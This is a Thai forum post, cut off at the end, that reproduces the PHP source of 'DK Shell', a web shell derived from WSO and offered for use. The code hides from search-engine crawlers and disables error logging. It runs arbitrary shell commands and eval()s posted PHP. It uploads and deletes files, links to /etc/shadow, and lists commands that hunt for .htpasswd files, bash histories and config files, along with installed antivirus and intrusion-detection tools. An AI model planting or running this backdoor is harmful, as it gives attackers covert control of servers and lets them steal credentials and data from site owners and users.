- เครดิต
- 287
- เพื่อน
- ทักทาย
- บล็อก
- อัลบั้ม
- โพสต์
- กระทู้
- แชร์
- สำคัญ
- สิทธิ์อ่าน
- 20
- จำนวนผู้ติดตาม
- จำนวนผู้กำลังติดตาม
- เพศ
- ไม่บอก
|
การทำงานของมันคือ เอาทุกอย่างที่เรามี
- //
- // DK Shell - Took the Best made it Better..!!
- //
- //
- //
- //Version 1.0
- //Created on 25/3/2012 by b47chguru
- $auth_pass = "688f6ed708f0cb08b5e39d5ff60b457b"; //password = dk
- $color = "#00FF66"; //Colour
- $default_action = "FilesMan";
- $default_charset = "Windows-1251";
- if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
- $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
- foreach($userAgents as $agent)
- if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- $auth_pass2 = "0a159a8c4e71b95570f152181561e26e";
- @session_start();
- @error_reporting(0);
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @define('VERSION', ' beta version 1.0 by b47chguru');
- if( get_magic_quotes_gpc() ) {
- function WSOstripslashes($array) {
- return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
- }
- $_POST = WSOstripslashes($_POST);
- }
- function wsoLogin() {
- die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
- }
- if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
- if( empty( $auth_pass ) ||
- ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- wsoLogin();
- if( strtolower( substr(PHP_OS,0,3) ) == "win" )
- $os = 'win';
- else
- $os = 'nix';
- $safe_mode = @ini_get('safe_mode');
- $disable_functions = @ini_get('disable_functions');
- $home_cwd = @getcwd();
- if( isset( $_POST['c'] ) )
- @chdir($_POST['c']);
- $cwd = @getcwd();
- if( $os == 'win') {
- $home_cwd = str_replace("\", "/", $home_cwd);
- $cwd = str_replace("\", "/", $cwd);
- }
- if( $cwd[strlen($cwd)-1] != '/' )
- $cwd .= '/';
- if($os == 'win')
- $aliases = array(
- "List Directory" => "dir",
- "Find index.php in current dir" => "dir /s /w /b index.php",
- "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
- "Show active connections" => "netstat -an",
- "Show running services" => "net start",
- "User accounts" => "net user",
- "Show computers" => "net view",
- "ARP Table" => "arp -a",
- "IP Configuration" => "ipconfig /all"
- );
- else
- $aliases = array(
- "List dir" => "ls -lha",
- "list file attributes on a Linux second extended file system" => "lsattr -va",
- "show opened ports" => "netstat -an | grep -i listen",
- "Find" => "",
- "find all suid files" => "find / -type f -perm -04000 -ls",
- "find suid files in current dir" => "find . -type f -perm -04000 -ls",
- "find all sgid files" => "find / -type f -perm -02000 -ls",
- "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
- "find config.inc.php files" => "find / -type f -name config.inc.php",
- "find config* files" => "find / -type f -name "config*"",
- "find config* files in current dir" => "find . -type f -name "config*"",
- "find all writable folders and files" => "find / -perm -2 -ls",
- "find all writable folders and files in current dir" => "find . -perm -2 -ls",
- "find all service.pwd files" => "find / -type f -name service.pwd",
- "find service.pwd files in current dir" => "find . -type f -name service.pwd",
- "find all .htpasswd files" => "find / -type f -name .htpasswd",
- "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
- "find all .bash_history files" => "find / -type f -name .bash_history",
- "find .bash_history files in current dir" => "find . -type f -name .bash_history",
- "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
- "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
- "Locate" => "",
- "locate httpd.conf files" => "locate httpd.conf",
- "locate vhosts.conf files" => "locate vhosts.conf",
- "locate proftpd.conf files" => "locate proftpd.conf",
- "locate psybnc.conf files" => "locate psybnc.conf",
- "locate my.conf files" => "locate my.conf",
- "locate admin.php files" =>"locate admin.php",
- "locate cfg.php files" => "locate cfg.php",
- "locate conf.php files" => "locate conf.php",
- "locate config.dat files" => "locate config.dat",
- "locate config.php files" => "locate config.php",
- "locate config.inc files" => "locate config.inc",
- "locate config.inc.php" => "locate config.inc.php",
- "locate config.default.php files" => "locate config.default.php",
- "locate config* files " => "locate config",
- "locate .conf files"=>"locate '.conf'",
- "locate .pwd files" => "locate '.pwd'",
- "locate .sql files" => "locate '.sql'",
- "locate .htpasswd files" => "locate '.htpasswd'",
- "locate .bash_history files" => "locate '.bash_history'",
- "locate .mysql_history files" => "locate '.mysql_history'",
- "locate .fetchmailrc files" => "locate '.fetchmailrc'",
- "locate backup files" => "locate backup",
- "locate dump files" => "locate dump",
- "locate priv files" => "locate priv"
- );
- function wsoHeader() {
- if(empty($_POST['charset']))
- $_POST['charset'] = $GLOBALS['default_charset'];
- global $color;
- echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - D.K shell" . VERSION ."</title>
- <style>
- body{background-color:#444;color:#e1e1e1;}
- body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
- table.info{ color:#fff;background-color:#222; }
- span,h1,a{ color: $color !important; }
- span{ font-weight: bolder; }
- h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
- div.content{ padding: 5px;margin-left:5px;background-color:#333; }
- a{ text-decoration:none; }
- a:hover{ text-decoration:underline; }
- .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
- .bigarea{ width:100%;height:250px; }
- input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
- form{ margin:0px; }
- #toolsTbl{ text-align:center; }
- .toolsInp{ width: 300px }
- .main th{text-align:left;background-color:#5e5e5e;}
- .main tr:hover{background-color:#5e5e5e}
- .l1{background-color:#444}
- pre{font-family:Courier,Monospace;}
- </style>
- <script>
- var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
- var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
- var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
- var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
- var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
- var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
- function set(a,c,p1,p2,p3,charset) {
- if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
- if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
- if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
- if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
- if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
- if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
- }
- function g(a,c,p1,p2,p3,charset) {
- set(a,c,p1,p2,p3,charset);
- document.mf.submit();
- }
- function a(a,c,p1,p2,p3,charset) {
- set(a,c,p1,p2,p3,charset);
- var params = 'ajax=true';
- for(i=0;i<document.mf.elements.length;i++)
- params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
- sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
- }
- function sr(url, params) {
- if (window.XMLHttpRequest)
- req = new XMLHttpRequest();
- else if (window.ActiveXObject)
- req = new ActiveXObject('Microsoft.XMLHTTP');
- if (req) {
- req.onreadystatechange = processReqChange;
- req.open('POST', url, true);
- req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
- req.send(params);
- }
- }
- function processReqChange() {
- if( (req.readyState == 4) )
- if(req.status == 200) {
- var reg = new RegExp("(\\\\d+)([\\\\S\\\\s]*)", 'm');
- var arr=reg.exec(req.responseText);
- eval(arr[2].substr(0, arr[1]));
- } else alert('Request error!');
- }
- </script>
- <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
- <form method=post name=mf style='display:none;'>
- <input type=hidden name=a>
- <input type=hidden name=c>
- <input type=hidden name=p1>
- <input type=hidden name=p2>
- <input type=hidden name=p3>
- <input type=hidden name=charset>
- </form>";
- $freeSpace = @diskfreespace($GLOBALS['cwd']);
- $totalSpace = @disk_total_space($GLOBALS['cwd']);
- $totalSpace = $totalSpace?$totalSpace:1;
- $release = @php_uname('r');
- $kernel = @php_uname('s');
- $millink = 'http://milw0rm.com/search.php?dong=';
- if( strpos('Linux', $kernel) !== false )
- $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
- else
- $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(@posix_geteuid());
- $gid = @posix_getgrgid(@posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- $cwd_links = '';
- $path = explode("/", $GLOBALS['cwd']);
- $n=count($path);
- for($i=0;$i<$n-1;$i++) {
- $cwd_links .= "<a href='#' onclick='g("FilesMan","";
- for($j=0;$j<=$i;$j++)
- $cwd_links .= $path[$j].'/';
- $cwd_links .= "")'>".$path[$i]."/</a>";
- }
- $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
- $opt_charsets = '';
- foreach($charsets as $item)
- $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
- $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SafeMode'=>'SafeMode','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Symlink'=>'symlink');
- if(!empty($GLOBALS['auth_pass']))
- $m['Logout'] = 'Logout';
- $m['Self remove'] = 'SelfRemove';
- $menu = '';
- foreach($m as $k => $v)
- $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
- $drives = "";
- if ($GLOBALS['os'] == 'win') {
- foreach( range('c','z') as $drive )
- if (is_dir($drive.':\\'))
- $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
- }
- echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
- '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a><a href=# onclick="g(\'about\',null,null,null,\'null\')"> [About] </a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
- '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
- '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
- }
- function wsoFooter() {
- $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
- echo "
- </div>
- <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
- <tr>
- <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
- <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
- </tr><tr>
- <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
- <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
- </tr><tr>
- <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
- <td><form method='post' ENCTYPE='multipart/form-data'>
- <input type=hidden name=a value='FilesMAn'>
- <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
- <input type=hidden name=p1 value='uploadFile'>
- <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
- <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
- </tr></table></div></body></html>";
- }
- if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
- if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
- function wsoEx($in) {
- $out = '';
- if(function_exists('exec')) {
- @exec($in,$out);
- $out = @join("\n",$out);
- }elseif(function_exists('passthru')) {
- ob_start();
- @passthru($in);
- $out = ob_get_clean();
- }elseif(function_exists('system')) {
- ob_start();
- @system($in);
- $out = ob_get_clean();
- }elseif(function_exists('shell_exec')) {
- $out = shell_exec($in);
- }elseif(is_resource($f = @popen($in,"r"))) {
- $out = "";
- while(!@feof($f))
- $out .= fread($f,1024);
- pclose($f);
- }
- return $out;
- }
- function wsoViewSize($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f', $s / 1073741824 ). ' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f', $s / 1048576 ) . ' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f', $s / 1024 ) . ' KB';
- else
- return $s . ' B';
- }
- function wsoPerms($p) {
- if (($p & 0xC000) == 0xC000)$i = 's';
- elseif (($p & 0xA000) == 0xA000)$i = 'l';
- elseif (($p & 0x8000) == 0x8000)$i = '-';
- elseif (($p & 0x6000) == 0x6000)$i = 'b';
- elseif (($p & 0x4000) == 0x4000)$i = 'd';
- elseif (($p & 0x2000) == 0x2000)$i = 'c';
- elseif (($p & 0x1000) == 0x1000)$i = 'p';
- else $i = 'u';
- $i .= (($p & 0x0100) ? 'r' : '-');
- $i .= (($p & 0x0080) ? 'w' : '-');
- $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
- $i .= (($p & 0x0020) ? 'r' : '-');
- $i .= (($p & 0x0010) ? 'w' : '-');
- $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
- $i .= (($p & 0x0004) ? 'r' : '-');
- $i .= (($p & 0x0002) ? 'w' : '-');
- $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
- return $i;
- }
- function wsoPermsColor($f) {
- if (!@is_readable($f))
- return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
- elseif (!@is_writable($f))
- return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
- else
- return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
- }
- if(!function_exists("scandir")) {
- function scandir($dir) {
- $dh = opendir($dir);
- while (false !== ($filename = readdir($dh))) {
- $files[] = $filename;
- }
- return $files;
- }
- }
- function wsoWhich($p) {
- $path = wsoEx('which '.$p);
- if(!empty($path))
- return $path;
- return false;
- }
- function actionSecInfo() {
- wsoHeader();
- echo '<h1>Server security information</h1><div class=content>';
- function wsoSecParam($n, $v) {
- $v = trim($v);
- if($v) {
- echo '<span>'.$n.': </span>';
- if(strpos($v, "\n") === false)
- echo $v.'<br>';
- else
- echo '<pre class=ml1>'.$v.'</pre>';
- }
- }
- wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
- wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
- wsoSecParam('Open base dir', @ini_get('open_basedir'));
- wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
- wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
- wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
- $temp=array();
- if(function_exists('mysql_get_client_info'))
- $temp[] = "MySql (".mysql_get_client_info().")";
- if(function_exists('mssql_connect'))
- $temp[] = "MSSQL";
- if(function_exists('pg_connect'))
- $temp[] = "PostgreSQL";
- if(function_exists('oci_connect'))
- $temp[] = "Oracle";
- wsoSecParam('Supported databases', implode(', ', $temp));
- echo '<br>';
- if( $GLOBALS['os'] == 'nix' ) {
- $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
- $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
- $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
- wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>":'no');
- wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g("FilesTools", "etc", "shadow")'>[view]</a>":'no');
- wsoSecParam('OS version', @file_get_contents('/proc/version'));
- wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
- if(!$GLOBALS['safe_mode']) {
- echo '<br>';
- $temp=array();
- foreach ($userful as $item)
- if(wsoWhich($item)){$temp[]=$item;}
- wsoSecParam('Userful', implode(', ',$temp));
- $temp=array();
- foreach ($danger as $item)
- if(wsoWhich($item)){$temp[]=$item;}
- wsoSecParam('Danger', implode(', ',$temp));
- $temp=array();
- foreach ($downloaders as $item)
- if(wsoWhich($item)){$temp[]=$item;}
- wsoSecParam('Downloaders', implode(', ',$temp));
- echo '<br/>';
- wsoSecParam('HDD space', wsoEx('df -h'));
- wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
- }
- } else {
- wsoSecParam('OS Version',wsoEx('ver'));
- wsoSecParam('Account Settings',wsoEx('net accounts'));
- wsoSecParam('User Accounts',wsoEx('net user'));
- }
- echo '</div>';
- wsoFooter();
- }
- function actionPhp() {
- if( isset($_POST['ajax']) ) {
- $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
- ob_start();
- eval($_POST['p1']);
- $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
- echo strlen($temp), "\n", $temp;
- exit;
- }
- wsoHeader();
- if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
- echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
- ob_start();
- phpinfo();
- $tmp = ob_get_clean();
- $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
- $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
- echo str_replace('h1','h2',$tmp).'</div><br>';
- }
- if(empty($_POST['ajax'])&&!empty($_POST['p1']))
- @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
- echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
- echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
- if(!empty($_POST['p1'])) {
- ob_start();
- eval($_POST['p1']);
- echo htmlspecialchars(ob_get_clean());
- }
- echo '</pre></div>';
- wsoFooter();
- }
- function actionFilesMan() {
- wsoHeader();
- echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
- if(!empty($_POST['p1'])) {
- switch($_POST['p1']) {
- case 'uploadFile':
- if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
- echo "Can't upload file!";
- break;
- case 'mkdir':
- if(!@mkdir($_POST['p2']))
- echo "Can't create new dir";
- break;
- case 'delete':
- function deleteDir($path) {
- $path = (substr($path,-1)=='/') ? $path:$path.'/';
- $dh = opendir($path);
- while ( ($item = readdir($dh) ) !== false) {
- $item = $path.$item;
- if ( (basename($item) == "..") || (basename($item) == ".") )
- continue;
- $type = filetype($item);
- if ($type == "dir")
- deleteDir($item);
- else
- @unlink($item);
- }
- closedir($dh);
- rmdir($path);
- }
- if(is_array(@$_POST['f']))
- foreach($_POST['f'] as $f) {
- $f = urldecode($f);
- if(is_dir($f))
- deleteDir($f);
- else
- @unlink($f);
- }
- break;
- case 'paste':
- if($_SESSION['act'] == 'copy') {
- function copy_paste($c,$s,$d){
- if(is_dir($c.$s)){
- mkdir($d.$s);
- $h = @opendir($c.$s);
- while (($f = @readdir($h)) !== false)
- if (($f != ".") and ($f != "..")) {
- copy_paste($c.$s.'/',$f, $d.$s.'/');
- }
- } elseif(is_file($c.$s)) {
- @copy($c.$s, $d.$s);
- }
- }
- foreach($_SESSION['f'] as $f)
- copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
- } elseif($_SESSION['act'] == 'move') {
- function move_paste($c,$s,$d){
- if(is_dir($c.$s)){
- mkdir($d.$s);
- $h = @opendir($c.$s);
- while (($f = @readdir($h)) !== false)
- if (($f != ".") and ($f != "..")) {
- copy_paste($c.$s.'/',$f, $d.$s.'/');
- }
- } elseif(@is_file($c.$s)) {
- @copy($c.$s, $d.$s);
- }
- }
- foreach($_SESSION['f'] as $f)
- @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
- } elseif($_SESSION['act'] == 'zip') {
- if(class_exists('ZipArchive')) {
- $zip = new ZipArchive();
- if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
- chdir($_SESSION['c']);
- foreach($_SESSION['f'] as $f) {
- if(@is_file($_SESSION['c'].$f))
- $zip->addFile($_SESSION['c'].$f, $f);
- elseif(@is_dir($_SESSION['c'].$f)) {
- $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
- foreach ($iterator as $key=>$value) {
- $zip->addFile(realpath($key), $key);
- }
- }
- }
- chdir($GLOBALS['cwd']);
- $zip->close();
- }
- }
- } elseif($_SESSION['act'] == 'unzip') {
- if(class_exists('ZipArchive')) {
- $zip = new ZipArchive();
- foreach($_SESSION['f'] as $f) {
- if($zip->open($_SESSION['c'].$f)) {
- $zip->extractTo($GLOBALS['cwd']);
- $zip->close();
- }
- }
- }
- }
- unset($_SESSION['f']);
- break;
- default:
- if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
- $_SESSION['act'] = @$_POST['p1'];
- $_SESSION['f'] = @$_POST['f'];
- foreach($_SESSION['f'] as $k => $f)
- $_SESSION['f'][$k] = urldecode($f);
- $_SESSION['c'] = @$_POST['c'];
- }
- break;
- }
- }
- $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
- if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
- global $sort;
- $sort = array('name', 1);
- if(!empty($_POST['p1'])) {
- if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
- $sort = array($match[1], (int)$match[2]);
- }
- echo "<script>
- function sa() {
- for(i=0;i<document.files.elements.length;i++)
- if(document.files.elements[i].type == 'checkbox')
- document.files.elements[i].checked = document.files.elements[0].checked;
- }
- </script>
- <table width='100%' class='main' cellspacing='0' cellpadding='2'>
- <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_".($sort[1]?0:1)."")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_".($sort[1]?0:1)."")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_".($sort[1]?0:1)."")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_".($sort[1]?0:1)."")'>Permissions</a></th><th>Actions</th></tr>";
- $dirs = $files = array();
- $n = count($dirContent);
- for($i=0;$i<$n;$i++) {
- $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
- $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
- $tmp = array('name' => $dirContent[$i],
- 'path' => $GLOBALS['cwd'].$dirContent[$i],
- 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
- 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
- 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
- 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
- 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
- );
- if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
- $files[] = array_merge($tmp, array('type' => 'file'));
- elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
- $dirs[] = array_merge($tmp, array('type' => 'link'));
- elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
- $dirs[] = array_merge($tmp, array('type' => 'dir'));
- }
- $GLOBALS['sort'] = $sort;
- function wsoCmp($a, $b) {
- if($GLOBALS['sort'][0] != 'size')
- return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
- else
- return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
- }
- usort($files, "wsoCmp");
- usort($dirs, "wsoCmp");
- $files = array_merge($dirs, $files);
- $l = 0;
- foreach($files as $f) {
- echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
- .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
- $l = $l?0:1;
- }
- echo "<tr><td colspan=7>
- <input type=hidden name=a value='FilesMan'>
- <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
- <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
- <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
- if(class_exists('ZipArchive'))
- echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
- if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
- echo "<option value='paste'>Paste / zip</option>";
- echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
- wsoFooter();
- }
- function actionStringTools() {
- if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
- if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
